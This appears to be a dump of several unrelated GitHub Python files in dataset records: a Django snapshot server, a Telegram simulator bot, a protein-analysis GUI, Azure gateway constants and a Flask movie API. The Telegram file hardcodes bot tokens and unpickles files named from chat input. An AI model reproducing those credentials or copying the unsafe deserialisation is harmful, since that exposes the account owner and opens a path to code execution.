snapshots[i-1]['uuid']\n return \"-1\"\n\n# Get the first snapshot of the vmail\ndef get_first_snapshot_json(request, vmail):\n print(\"GFSJ GFSJ GFSJ GFSJ GFSJ \", vmail)\n db = MongoClient()['vmail']\n snapshots = sorted([i for i in db['vmail_snapshots'].find({\"vmail\": vmail})], key=lambda a: a['sequence'])\n if len(snapshots) == 0:\n return JsonResponse({\"status\": \"error\", \"snapshot\": {}})\n else:\n ss = snapshots[0]\n del ss['_id']\n return JsonResponse({\"status\": \"ok\", \"snapshot\": ss})\n\n# Get the last snapshot of the vmail\ndef get_last_snapshot_json(request, vmail):\n db = MongoClient()['vmail']\n snapshots = sorted([i for i in db['vmail_snapshots'].find({\"vmail\": vmail})], key=lambda a: a['sequence'])\n if len(snapshots) == 0:\n return JsonResponse({\"status\": \"error\", \"snapshot\": {}})\n else:\n ss = snapshots[-1]\n del ss['_id']\n return JsonResponse({\"status\": \"ok\", \"snapshot\": ss})\n\n# Given vmail and snapshot uuids, return next snapshot as json\ndef get_next_snapshot_json(request, vmail, snapshot):\n print(\"GNSJ GNSJ GNSJ GNSJ GNSJ GNSJ \", vmail, snapshot)\n next_ssid = _get_next_snapshot(vmail, snapshot)\n print(\"last ss: \", snapshot, \" next: \", next_ssid)\n if next_ssid == \"-1\":\n return JsonResponse({'status': 'error', 'snapshot': {}})\n db = MongoClient()['vmail']\n next_ss = db['vmail_snapshots'].find_one({\"uuid\": next_ssid})\n del next_ss['_id']\n print('AAAAAA', next_ss)\n return JsonResponse({'status': 'ok', 'snapshot': next_ss})\n\n# Given vmail and snapshot uuids, return prev snapshot as json\ndef get_prev_snapshot_json(request, vmail, snapshot):\n prev_ssid = _get_prev_snapshot(vmail, snapshot)\n if prev_ssid == \"-1\":\n return JsonResponse({'status': 'error', 'snapshot': {}})\n db = MongoClient()['vmail']\n prev_ss = db['vmail_snapshots'].find_one({\"uuid\": prev_ssid})\n del prev_ss['_id']\n return JsonResponse({'status': 'ok', 'snapshot': prev_ss})\n\n# Given a vmail uuid, return page containing first snapshot\ndef get_first_snapshot_html(request, vmail):\n print(\"GFSH GFSH GFSH GFSH GFSH GFSH GFSH GFSH \", vmail)\n db = MongoClient()['vmail']\n snapshots = sorted([i for i in db['vmail_snapshots'].find({\"vmail\": vmail})], key=lambda a: a['sequence'])\n if len(snapshots) == 0:\n t = TemplateResponse(request, 'error.html', {'message': \"vmail %s has no snapshots\" % vmail}) \n return t.render()\n ss = snapshots[0]\n del ss['_id']\n t = TemplateResponse(request, \"vmail.html\", {'vmail': vmail, 'snapshot': ss})\n return t.render()\n\n# Given a vmail uuid, return uuid of first snapshot as json\ndef get_first_vmail_snapshot_json(vmail):\n ssid = _get_next_snapshot(vmail, \"0\")\n if ssid == -1:\n return JsonResponse({\"status\": \"error\", \"snapshot\": {}})\n db = MongoClient()['vmail']\n ss = db['vmail_snapshots'].find_one({\"uuid\": ssid})\n del ss['_id']\n return JsonResponse({\"status\": \"ok\", \"snapshot\": ss})\n\n# Given a vmail uuid, return uuid of first snapshot as json\ndef get_last_vmail_snapshot_json(vmail):\n ssid = _get_next_snapshot(vmail, \"-1\")\n if ssid == -1:\n return JsonResponse({\"status\": \"error\", \"snapshot\": {}})\n db = MongoClient()['vmail']\n ss = db['vmail_snapshots'].find_one({\"uuid\": ssid})\n del ss['_id']\n return JsonResponse({\"status\": \"ok\", \"snapshot\": ss})\n\ndef insert_snapshot_field(request, snapshot, field, value):\n db = MongoClient()['vmail']\n db['vmail_snapshots'].update_one({'uuid': snapshot}, {'$set': {field: value}})\n return JsonResponse({\"status\": \"ok\"})\n\ndef upload_media(request, snapshot, ext): \n try:\n url = uuid1().hex + ext\n fname = '%s/%s' % (settings.STATIC_ROOT, url)\n print(\"XXXXXXXXXXXXXXXXXXXXXXXXXXXX \", fname)\n with open(fname, 'wb+') as destination:\n for chunk in request.FILES['image'].chunks():\n destination.write(chunk)\n db = MongoClient()['vmail']\n db['vmail_snapshots'].update_one({\"uuid\": snapshot}, {\"$set\": {\"url\": url}})\n except:\n return JsonResponse({\"status\": \"error\"})\n return JsonResponse({\"status\": url})\n\ndef upload_text(request, snapshot):\n try:\n print(\"AAAAA \", snapshot)\n text = \"\"\n for chunk in request.FILES['text'].chunks():\n text = text + chunk.decode()\n print(\"BBBBB \", text)\n db = MongoClient()['vmail']\n db['vmail_snapshots'].update_one({\"uuid\": snapshot}, {\"$set\": {\"text\": text}})\n print(db['vmail_snapshots'].find_one({\"uuid\": snapshot}))\n except:\n return JsonResponse({\"status\": \"error\"})\n return JsonResponse({\"status\": \"ok\"})\n\n\n","repo_name":"GregAbram/VMailServer","sub_path":"vmailApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73850253991","text":"import logging\n\nfrom telegram import Update, ForceReply\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext\nfrom definition import Infinite\n\n\nfrom model_periodic import PeriodicModel\nfrom model_telegram_handler import TelegramHandler\n\nimport dill\n\nfrom system_simulator import SystemSimulator\nfrom behavior_model_executor import BehaviorModelExecutor\nfrom system_message import SysMessage\nfrom definition import *\n\n# Enable logging\nlogging.basicConfig(\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO\n)\n\nlogger = logging.getLogger(__name__)\n\nclass TelegramExternalHandler():\n def __init__(self, sys_simulator):\n \"\"\"Start the bot.\"\"\"\n # Create the Updater and pass it your bot's token.\n #updater = Updater(\"5010687528:AAEKtgIMrmvIOiF9XwkLPzCj29E7Cjt8F-I\")\n self.updater = Updater(\"5383202051:AAFzfoMp-cyLcgYRPZ7dbIh3ofzeE8cbZUY\")\n\n # Get the dispatcher to register handlers\n dispatcher = self.updater.dispatcher\n\n #updater.bot.send_message(1955979869, \"hello\")\n\n # on different commands - answer in Telegram\n dispatcher.add_handler(CommandHandler(\"start\", self.start))\n dispatcher.add_handler(CommandHandler(\"stop\", self.stop))\n\n dispatcher.add_handler(CommandHandler(\"help\", self.help_command))\n\n # on non command i.e message - echo the message on Telegram\n #dispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, self.echo))\n dispatcher.add_handler(CommandHandler(\"start_polling\", self.start_polling))\n\n ##########\n # jaiyun\n dispatcher.add_handler(CommandHandler(\"dump\", self.dump))\n dispatcher.add_handler(CommandHandler(\"new_sim\", self.new_sim))\n dispatcher.add_handler(CommandHandler(\"add_model\", self.add_model))\n dispatcher.add_handler(CommandHandler(\"start_sim\", self.start_sim))\n ##########\n\n # Start the Bot\n self.updater.start_polling()\n\n self.simulator = sys_simulator\n\n self.reconstruct_simulator = None\n\n #########\n ## jaiyun\n self.simulator.get_engine(\"sname\").insert_input_port(\"start_polling\")\n th = TelegramHandler(0, Infinite, \"TelegramHandler\", \"sname\", self.simulator)\n self.simulator.get_engine(\"sname\").register_entity(th)\n self.simulator.get_engine(\"sname\").coupling_relation(None, \"start_polling\", th, \"start_polling\")\n\n self.simulator.get_engine(\"sname\").insert_input_port(\"start\")\n gen = PeriodicModel(0, Infinite, \"Periodic\", \"sname\", th.get_updater().bot)\n self.simulator.get_engine(\"sname\").register_entity(gen)\n self.simulator.get_engine(\"sname\").coupling_relation(None, \"start\", gen, \"start\")\n \n self.simulator.get_engine(\"sname\").insert_input_port(\"stop\")\n self.simulator.get_engine(\"sname\").coupling_relation(None, \"stop\", gen, \"stop\")\n\n ## jaiyun\n #########\n self.simulator.exec_non_block_simulate([\"sname\"])\n # Run the bot until you press Ctrl-C or the process receives SIGINT,\n # SIGTERM or SIGABRT. This should be used most of the time, since\n # start_polling() is non-blocking and will stop the bot gracefully.\n self.updater.idle()\n\n def start(self, update: Update, context: CallbackContext) -> None:\n \"\"\"Send a message when the command /start is issued.\"\"\"\n print(update)\n self.simulator.get_engine(\"sname\").insert_external_event(\"start\", None)\n\n def stop(self, update: Update, context: CallbackContext) -> None:\n \"\"\"Send a message when the command /start is issued.\"\"\"\n self.simulator.get_engine(\"sname\").insert_external_event(\"stop\", None)\n\n def help_command(self, update: Update, context: CallbackContext) -> None:\n \"\"\"Send a message when the command /help is issued.\"\"\"\n update.message.reply_text('Help!')\n\n def echo(self, update: Update, context: CallbackContext) -> None:\n \"\"\"Echo the user message.\"\"\" \n update.message.reply_text(update.message.text)\n\n def start_polling(self, update: Update, context: CallbackContext) -> None:\n \"\"\"Echo the user message.\"\"\" \n self.simulator.get_engine(\"sname\").insert_external_event(\"start_polling\", None)\n\n def dump(self, update: Update, context: CallbackContext) -> None:\n gen = update['message']['text'].split()[1]\n model = self.simulator.get_engine(\"sname\").get_model(gen)\n with open(f\"{gen}.simx\", 'wb') as f:\n dill.dump(model, f)\n print(\"done\")\n\n def new_sim(self, update: Update, context: CallbackContext) -> None:\n self.reconstruct_simulator = SystemSimulator()\n self.reconstruct_simulator.register_engine(\"sname\", \"REAL_TIME\", 1)\n self.reconstruct_simulator.get_engine(\"sname\").insert_input_port(\"start\")\n self.reconstruct_simulator.get_engine(\"sname\").insert_input_port(\"stop\")\n print(\"new_sim\")\n\n def start_sim(self, update: Update, context: CallbackContext) -> None:\n print(update)\n self.reconstruct_simulator.get_engine(\"sname\").insert_external_event(\"start\", None)\n self.reconstruct_simulator.get_engine(\"sname\").simulate()\n\n def add_model(self, update: Update, context: CallbackContext) -> None:\n _, gen, token = update['message']['text'].split()\n with open(f\"{gen}.simx\", 'rb') as f:\n model = dill.load(f)\n #reconstruct_updater = Updater(\"5190485547:AAGdmxLqY9Q1SyQ5ZS6BrwVM3jgKykS6n-g\")\n reconstruct_updater = Updater(token)\n reconstruct_updater.start_polling() \n\n model.update_domain(reconstruct_updater.bot)\n self.reconstruct_simulator.get_engine(\"sname\").register_entity(model)\n self.reconstruct_simulator.get_engine(\"sname\").coupling_relation(None, \"start\", model, \"start\")\n self.reconstruct_simulator.get_engine(\"sname\").coupling_relation(None, \"stop\", model, \"stop\")\n print(f\"{gen}.simx\")","repo_name":"1seyoung/weatherBot","sub_path":"weatherModel/external_event_handler.py","file_name":"external_event_handler.py","file_ext":"py","file_size_in_byte":6040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34332689710","text":"def block_app(protein):\n import json\n import os\n import textwrap\n import pprint\n\n import PySimpleGUI as sg\n\n from .seq_tools import makeblock\n from .seq_tools import clean_block\n from .seq_tools import freq_check\n from .info_app import analyze_block_info\n\n ROOT = os.environ.get('ROOT')\n user_dir = os.path.join(ROOT, 'data', 'user_data')\n work_protein = os.path.join(ROOT, 'data', 'user_data', 'builds', protein)\n\n with open(work_protein, 'r') as file:\n work_protein = json.loads(file.read())\n\n # print(work_protein)\n\n sg.theme('DarkPurple6')\n\n motslist = [i['mot'] for i in work_protein['mots']]\n\n layout = [[sg.Frame(layout=[[sg.Text('Mot for analyze', font=('Helvetica', 14)),\n sg.Combo(motslist, key=\"-MOT-\", size=(20, 5), default_value=motslist[0]),\n sg.Text(size=(15, 1), key=\"-MOTOUT-\")],\n [sg.Text('Block size', font=('Helvetica', 14)), sg.Slider(range=(10, 70),\n key=\"-SIZE-\",\n default_value=30,\n size=(20, 15),\n orientation='horizontal',\n font=('Courier New', 14))]],\n title='Block options', title_color='red', font=('Courier New', 15))],\n [sg.Button('Make block'), sg.Button('Info'), sg.Button('Back')],\n ]\n\n window = sg.Window('Choose mot for Block', layout)\n\n # ------------ window Event Loop--------------\n while True:\n event, values = window.read()\n # print(event, values)\n if event == sg.WIN_CLOSED:\n return 'Close'\n elif event == 'Back':\n break\n elif event == 'Info':\n window.Hide()\n analyze_block_info()\n window.UnHide()\n elif event == 'Make block':\n window[\"-MOTOUT-\"].Update(values[\"-MOT-\"])\n for i in work_protein['mots']:\n if i['mot'] == values[\"-MOT-\"]:\n info = i\n res = makeblock(info=info, size=int(values[\"-SIZE-\"]))\n\n headers = ['block', 'name', 'organism', 'dT']\n weights = res['block_weights']\n out = []\n for i in range(len(weights)):\n line = ''\n for item in sorted(weights[i].items(), key=lambda pair: pair[1], reverse=True):\n line = line + f' {item[0]} - {item[1]} '\n out.append([i + 1, line])\n data = [[i['block'], i['name'], i['organism'], i['dT']] for i in res['finds']]\n window.Hide()\n tab1_layout = [\n [sg.Text(f'Анализируемый мот {values[\"-MOT-\"]}')],\n [sg.Table(values=data,\n justification=\"left\",\n headings=headers,\n font=('Courier New', 14),\n num_rows=20,\n max_col_width=30,\n key='-OUT1-')],\n [sg.Input(key='lettimes', size=(5, 1)), sg.Text('Letter Frequency'),\n sg.Frame(layout=[[sg.Input(key='pos', size=(5, 1)), sg.Text('Position'), sg.Input(key='lett', size=(5, 1)),\n sg.Text('Letter')]], title='Select by letter'),\n sg.Checkbox('Splitted', key='split'), sg.Button('Filter'), sg.Button('Clean')]\n ]\n tab2_layout = [[sg.Table(values=out,\n headings=['Position', 'Letters'],\n justification=\"left\",\n font=('Courier New', 12),\n num_rows=20,\n max_col_width=100,\n key='-OUT2-')]]\n layout2 = [[sg.TabGroup([[sg.Tab('Block', tab1_layout), sg.Tab('Positions', tab2_layout)]])],\n [sg.Button('Save Block'), sg.Button('Copy selected'), sg.Button('Info'), sg.Button('Back')]]\n window2 = sg.Window('Анализ блока', layout2)\n # ----------------------window2 Event Loop-----------------------------\n while True:\n event2, values2 = window2.read()\n # print(event2, values2)\n if event2 == sg.WIN_CLOSED:\n return 'Close'\n elif event2 == 'Back':\n window2.close()\n window.UnHide()\n break\n elif event2 == 'Info':\n window2.Hide()\n analyze_block_info()\n window2.UnHide()\n elif event2 == 'Filter':\n if values2['lettimes'] != '':\n res = clean_block(res, lettimes=int(values2['lettimes']))\n data = [[i['cblock'], i['name'], i['organism'], i['dT']] for i in res['finds']]\n else:\n pass\n\n if values2['pos'] != '' and values2['lett'] != '':\n data = freq_check(data, int(values2['pos']), values2['lett'].upper())\n window2['-OUT1-'].Update(data)\n\n if values2['split'] == True:\n for protein in data:\n line = ''\n for seq in textwrap.wrap(protein[0], 10):\n line = line + seq + ' '\n protein[0] = line\n\n window2['-OUT1-'].Update(data)\n\n if event2 == 'Clean':\n data = [[i['block'], i['name'], i['organism'], i['dT']] for i in res['finds']]\n window2['-OUT1-'].Update(data)\n\n if event2 == 'Save Block':\n d_filename = f'{res[\"mot\"]}-block'\n layout_save = [[sg.Text('Choose destination folder and file name or use default')],\n [sg.Input(key='-FILEPATH-', default_text=user_dir), sg.FolderBrowse()],\n [sg.Input(key='-FILENAME-', default_text=d_filename)],\n [sg.Button(\"Save\")]]\n\n event_s, values_s = sg.Window('Save destination', layout_save).read(close=True)\n\n if values_s['-FILENAME-'] != d_filename and values_s['-FILENAME-'] != '':\n d_filename = values_s['-FILENAME-']\n\n if values_s['-FILEPATH-'] == user_dir:\n filename = f'{user_dir}/{d_filename}.csv'\n else:\n filename = f'{values_s[\"-FILEPATH-\"]}/{d_filename}.csv'\n\n with open(filename, 'w') as file:\n line = ' Block; Protein name; Organism; dT\\n'\n file.write(line)\n for i in data:\n line = f' {i[0]}; {i[1]}; {i[2]}; {i[3]}\\n'\n file.write(line)\n\n if event2 == 'Copy selected':\n if len(values2['-OUT1-']) > 0:\n text = ''\n for i in values2['-OUT1-']:\n for find in res['finds']:\n if data[i][1] == find['name'] and data[i][2] == find['organism'] and data[i][0] == find['block']:\n text = text + f'Organism - {find[\"organism\"]}\\nProtein Name-{find[\"name\"]}\\nSequence - {find[\"seq\"]}\\nBlock - {find[\"block\"]}\\n\\n'\n layout_copy = [[sg.MLine(text, size=(80,12))],\n [sg.Button(\"Close\")]]\n\n window_copy = sg.Window(\"Copied proteins\", layout_copy)\n while True:\n event_copy, values_copy = window_copy.read()\n # print(event2, values2)\n if event_copy in (sg.WIN_CLOSED,\"Close\"):\n break\n window_copy.close()\n else:\n print('Copy error')\n\n window.close()","repo_name":"liquidbrainisstrain/ouroboros","sub_path":"ouroboros/apps/block_app.py","file_name":"block_app.py","file_ext":"py","file_size_in_byte":8424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73210556073","text":"import sys\nimport os\n# PySide6 imports\nfrom PySide6.QtUiTools import QUiLoader \nfrom PySide6.QtCore import Slot\n# To load QUi files used by PySide6\nloader = QUiLoader()\ndir_name = os.path.dirname(os.path.realpath(__file__))\n\n# About class to wrap About.ui\nclass About():\n # To create class\n def __init__(self):\n # Cross platform support for different file path types\n # Windows\n if sys.platform == \"win32\":\n self.window = loader.load(dir_name + \"\\\\views\\\\About.ui\")\n # Linux and others\n else:\n self.window = loader.load(dir_name + \"/views/About.ui\", None)\n\n # Function that can be called by the GUI\n @Slot()\n # To display\n def show(self):\n self.window.show()\n","repo_name":"jrrom/jwrite","sub_path":"jwrite/about.py","file_name":"about.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"9661645408","text":"from django.shortcuts import render, render_to_response\nfrom django.views.generic.base import View\nfrom .models import CommonTools, Storage\nfrom blogs.models import Blogs\nimport re\n# Create your views here.\n\n\nclass IndexView(View):\n def get(self, request):\n tool_all = CommonTools.objects.all()\n\n # 博客内容\n blog_list = Blogs.objects.all().order_by(\"-add_time\")[:3]\n # 重组博客内容\n rb_blog_list = []\n for blog in blog_list:\n rb_blog_dict = {}\n rb_blog_dict['add_time'] = blog.add_time\n rb_blog_dict['title'] = blog.title\n img = re.search(']*?>', blog.content)\n try:\n rb_blog_dict['img'] = img.group(1)\n except:\n rb_blog_dict['img'] = None\n rb_blog_dict['click_num'] = blog.click_num\n blog_content = blog.content\n dr = re.compile(r'<[^>]+>', re.S)\n start_content = dr.sub('', blog_content)\n rb_blog_dict['start_content'] = start_content[:90] + '...'\n rb_blog_list.append(rb_blog_dict)\n rb_blog_dict['id'] = blog.id\n return render(request, 'index.html', {\n 'tool_all' : tool_all,\n 'blog_all' : rb_blog_list\n })\n\n\nclass CollectionView(View):\n def get(self, requst):\n storage_all = Storage.objects.all()\n return render(requst, 'collection.html', {\n 'storage_all' : storage_all\n })\n\n\nclass AboutView(View):\n def get(self,request):\n return render(request, 'about.html')\n\n\ndef page_not_found(request):\n return render_to_response('404.html')","repo_name":"lylovevision/PersonalWeb","sub_path":"storage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3024180518","text":"from itertools import count\nfrom util import is_prime\n\nn = 1\np = 0\nt = 1\nfor s in count(2, 2):\n for i in range(4):\n n += s\n p += is_prime(n)\n t += 1\n if p/t < 0.1:\n print(s+1)\n break\n","repo_name":"jag426/euler","sub_path":"058.py","file_name":"058.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70726108074","text":"TAG_PREFIX = 'hidden-lgw:'\n\nAPI_WAF_RULE_NAME = 'AllowAzureCloudIPs'\nGATEWAY_WAF_RULE_NAME = 'AllowKnownIPs'\n# GATEWAY_WAF_RULE_NAME = 'BlockUnknownUris'\n\nLAB_REGIONS_CANARY = ['westcentralus']\nLAB_REGIONS_LOW_VOL = ['southcentralus']\nLAB_REGIONS_HIGH_VOL = ['centralus']\nLAB_REGIONS_ROW_1 = [\n 'australiacentral',\n 'australiasoutheast',\n 'canadacentral',\n 'centralindia',\n 'eastasia',\n 'eastus',\n 'francecentral',\n 'japaneast',\n 'koreacentral',\n 'northeurope',\n 'southafricanorth',\n 'switzerlandnorth',\n 'uaenorth',\n 'ukwest',\n 'westindia'\n]\nLAB_REGIONS_ROW_2 = [\n 'australiacentral2',\n 'australiaeast',\n 'brazilsouth',\n 'canadaeast',\n 'eastus2',\n 'francesouth',\n 'germanywestcentral',\n 'japanwest',\n 'koreasouth',\n 'northcentralus',\n 'norwayeast',\n 'southindia',\n 'southeastasia',\n 'switzerlandwest',\n 'uksouth',\n 'westeurope',\n 'westus',\n 'westus2',\n 'westus3'\n]\n\nSERVICE_TAGS_CANARY = [\n 'AzureCloud.southcentralus',\n 'AzureCloud.westus2'\n]\nSERVICE_TAGS_LOW_VOL = [\n 'AzureCloud.southcentralus',\n 'AzureCloud.westus'\n]\nSERVICE_TAGS_HIGH_VOL = [\n 'AzureCloud.centralus',\n 'AzureCloud.eastus'\n]\nSERVICE_TAGS_ROW_1 = [\n 'AzureCloud.canadacentral',\n 'AzureCloud.japaneast',\n 'AzureCloud.eastasia',\n 'AzureCloud.northeurope',\n 'AzureCloud.australiaeast'\n]\nSERVICE_TAGS_ROW_2 = [\n 'AzureCloud.northcentralus',\n 'AzureCloud.southeastasia',\n 'AzureCloud.uksouth',\n 'AzureCloud.westus2',\n 'AzureCloud.westeurope',\n 'AzureCloud.australiaeast'\n]\n\nSERVICE_TAGS_ALL = [\n 'AzureCloud.southcentralus',\n 'AzureCloud.westus2',\n 'AzureCloud.southcentralus',\n 'AzureCloud.westus',\n 'AzureCloud.centralus',\n 'AzureCloud.eastus',\n 'AzureCloud.canadacentral',\n 'AzureCloud.japaneast',\n 'AzureCloud.eastasia',\n 'AzureCloud.northeurope',\n 'AzureCloud.australiaeast',\n 'AzureCloud.northcentralus',\n 'AzureCloud.southeastasia',\n 'AzureCloud.uksouth',\n 'AzureCloud.westus2',\n 'AzureCloud.westeurope',\n 'AzureCloud.australiaeast'\n]\n\n\ndef tag_key(key):\n return f'{TAG_PREFIX}{key}'\n\n\ndef get_resource_name(unique_string):\n return f'lgw{unique_string}a'\n\n\ndef get_function_name(prefix):\n return f'{prefix}-fa'\n\n\ndef get_gateway_name(prefix):\n return f'{prefix}-gw'\n\n\ndef get_gateway_waf_name(prefix):\n return f'{prefix}-gw-waf'\n\n\ndef get_api_waf_name(prefix):\n return f'{prefix}-gw-waf-api'\n\n\ndef get_service_tags(locations):\n\n locs = [loc.lower().replace(' ', '') for loc in locations]\n\n tags = []\n regions = []\n\n for loc in locs:\n if loc in LAB_REGIONS_CANARY and 'Canary' not in regions:\n regions.append('Canary')\n elif loc in LAB_REGIONS_LOW_VOL and 'LowVol' not in regions:\n regions.append('LowVol')\n elif loc in LAB_REGIONS_HIGH_VOL and 'HighVol' not in regions:\n regions.append('HighVol')\n elif loc in LAB_REGIONS_ROW_1 and 'ROW1' not in regions:\n regions.append('ROW1')\n elif loc in LAB_REGIONS_ROW_2 and 'ROW2' not in regions:\n regions.append('ROW2')\n\n if 'Canary' in regions:\n tags.extend(SERVICE_TAGS_CANARY)\n if 'LowVol' in regions:\n tags.extend(SERVICE_TAGS_LOW_VOL)\n if 'HighVol' in regions:\n tags.extend(SERVICE_TAGS_HIGH_VOL)\n if 'ROW1' in regions:\n tags.extend(SERVICE_TAGS_ROW_1)\n if 'ROW2' in regions:\n tags.extend(SERVICE_TAGS_ROW_2)\n\n for loc in locs:\n tag = f'AzureCloud.{loc}'\n if tag not in tags:\n tags.append(tag)\n\n return tags\n","repo_name":"colbylwilliams/lab-gateway","sub_path":"client/lab-gateway/azext_lab_gateway/_constants.py","file_name":"_constants.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38248140819","text":"import os\nimport _json\nfrom flask import Flask, request, abort, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\nfrom models import db_drop_and_create_all, setup_db, Actors, Movies, Performance\nfrom auth import AuthError, requires_auth\n\n\nRECS_PER_PAGE = 12\n\ndef create_app(test_config=None):\n app = Flask(__name__)\n setup_db(app)\n db_drop_and_create_all()\n CORS(app)\n\n @app.after_request\n def after_request(response):\n response.headers.add('Access-Control-Allow-Headers','Content-Type, Authorization')\n response.headers.add('Access-Control-Allow-Headers','GET, POST, PATCH, DELETE, OPTIONS')\n return response\n################################################################\n \n \n def paginate_questions(request, selection):\n page = request.args.get('page', 1, type=int)\n start = (page - 1) * RECS_PER_PAGE\n end = start + RECS_PER_PAGE\n\n recs_format = [dRecord.format() for dRecord in selection]\n return recs_format[start:end]\n ################################################\n\n @app.route('/actors', methods=['GET']) #this method is used to retrieve all actors\n @requires_auth(permission='get:actors')\n def get_actors(payload):\n try:\n selections = Actors.query.order_by(Actors.id).all()\n pagedActors = paginate_questions(request, selections)\n totalActors = len(selections)\n return jsonify({\n 'success': True,\n 'actors': pagedActors,\n 'total-actors': totalActors\n })\n except Exception:\n abort(422)\n\n ###################################################\n\n @app.route('/actors', methods=['POST']) #this method is used to add a new actor\n @requires_auth(permission='post:actors')\n def post_actors(payload):\n addActor = request.get_json()\n actorName = addActor.get('name')\n actorGender = addActor.get('gender')\n actorAge = addActor.get('age')\n if actorName is None:\n abort(422)\n if actorGender is None:\n abort(422)\n if actorAge is None:\n abort(422)\n try:\n newActor = Actors(name=actorName,gender=actorGender,age=actorAge)\n newActor.insert()\n return jsonify({\n \"success\": True,\n \"actor-added\": newActor.id\n })\n except Exception:\n abort(422)\n\n ##########################################################\n\n @app.route('/actors/', methods=['PATCH'])\n @requires_auth(permission='patch:actors')\n def patch_actors(payload, id):\n actor = Actors.query.filter(Actors.id == id).first()\n if not actor:\n abort(404)\n updateActorReq = request.get_json()\n if updateActorReq is None:\n abort(422)\n try:\n if 'name' in updateActorReq:\n actor.name = updateActorReq['name']\n if 'gender' in updateActorReq:\n actor.gender = updateActorReq['gender']\n if 'age' in updateActorReq:\n actor.age = updateActorReq['age']\n actor.update()\n return jsonify({\n \"success\": True,\n \"actor-updated\": actor.id\n })\n except Exception:\n abort(422)\n\n ####################################################\n\n @app.route('/actors/', methods=['DELETE'])\n @requires_auth(permission='delete:actors') #to delete selected actor based on id\n def delete_actors(payload, id):\n actor = Actors.query.filter(Actors.id == id).first()\n if not actor:\n abort(404)\n try:\n actor.delete()\n return jsonify({\n \"success\": True,\n \"actor-deleted\": actor.id })\n except Exception:\n abort(422)\n\n ##########################################################\n\n @app.route('/movies', methods=['GET']) #to retrieve all movies\n @requires_auth(permission='get:movies')\n def get_movies(payload):\n try:\n selections = Movies.query.order_by(Movies.id).all()\n pagedMovies = paginate_questions(request, selections)\n totalMovies = len(selections)\n return jsonify({\n 'success': True,\n 'movies': pagedMovies,\n 'total-movies': totalMovies })\n except Exception:\n abort(422)\n\n ###################################################\n @app.route('/movies', methods=['POST']) #to add new movie\n @requires_auth(permission='post:movies')\n def post_movies(payload):\n addMovie = request.get_json()\n movieTitle = addMovie.get('title')\n movieRls_date = addMovie.get('release_date')\n\n if movieTitle is None:\n abort(422)\n if movieRls_date is None:\n abort(422)\n try:\n newMovie = Movies(title=movieTitle, release_date=movieRls_date)\n newMovie.insert()\n return jsonify({\n \"success\": True,\n \"movie-added\": new_movie.id })\n except Exception:\n abort(422)\n\n #################################################\n\n @app.route('/movies/', methods=['PATCH']) \n @requires_auth(permission='patch:movies')\n def patch_movies(payload, id):\n movie = Movies.query.filter(Movies.id == id).first()\n if not movie:\n abort(404)\n updateMovieReq = request.get_json()\n\n if updateMovieReq is None:\n abort(422)\n\n try:\n if 'title' in updateMovieReq:\n movie.title = updateMovieReq['title']\n\n if 'release_date' in updateMovieReq:\n movie.release_date = updateMovieReq['release_date']\n\n movie.update()\n\n return jsonify({\n \"success\": True,\n \"movie-updated\": movie.id\n })\n\n except Exception:\n abort(422)\n###############################################\n\n @app.route('/movies/', methods=['DELETE'])\n @requires_auth(permission='delete:movies')\n def delete_movies(payload, id):\n movie = Movies.query.filter(Movies.id == id).first()\n\n if not movie:\n abort(404)\n try:\n movie.delete()\n return jsonify({\n \"success\": True,\n \"movie-deleted\": movie.id\n })\n\n except Exception:\n abort(422)\n\n \n # Error handlers for possible errors including 400, 401, 403,404, 405,422,500\n @app.errorhandler(400)\n def badRequest(error):\n return jsonify({\n \"success\": False,\n \"error\": 400,\n \"message\": \"Bad Request\"\n }), 400\n\n @app.errorhandler(401)\n def unauthorized(error):\n return jsonify({\n \"success\": False,\n \"error\": 401,\n \"message\": \"Unauthorized\"\n }), 401\n\n @app.errorhandler(403)\n def accessForbidden(error):\n return jsonify({\n \"success\": False,\n \"error\": 403,\n \"message\": \"Forbidden/Access Denied\"\n }), 403\n\n @app.errorhandler(404)\n def not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 404,\n \"message\": \"Not found\"\n }), 404\n\n @app.errorhandler(405)\n def notAllowed(error):\n return jsonify({\n \"success\": False,\n \"error\": 405,\n \"message\": \"Method not Allowed\"\n }), 405\n\n @app.errorhandler(422)\n def unprocessable(error):\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"unprocess entity\"\n }), 422\n\n @app.errorhandler(500)\n def serverError(error):\n return jsonify({\n \"success\": False,\n \"error\": 500,\n \"message\": \"Internal Server Error\"\n }), 500\n\n @app.errorhandler(AuthError)\n def auth_error(e):\n return jsonify({\n \"success\": False,\n \"error\": e.status_code,\n \"message\": e.error\n }), e.status_code\n\n return app\n\napp = create_app()\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080, debug=True)\n","repo_name":"AlhHabibah/CapstoneProject","sub_path":"starter/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"69813836074","text":"#딸초바딸->\nn=int(input())\nL = list(map(int, input().split()))\ngoal=0\ng=0\nfor i in range(n):\n if L[i]==g:\n goal+=1\n g = (g + 1) % 3\n\nprint(goal)\n\n\n# 0 1 2 0 1 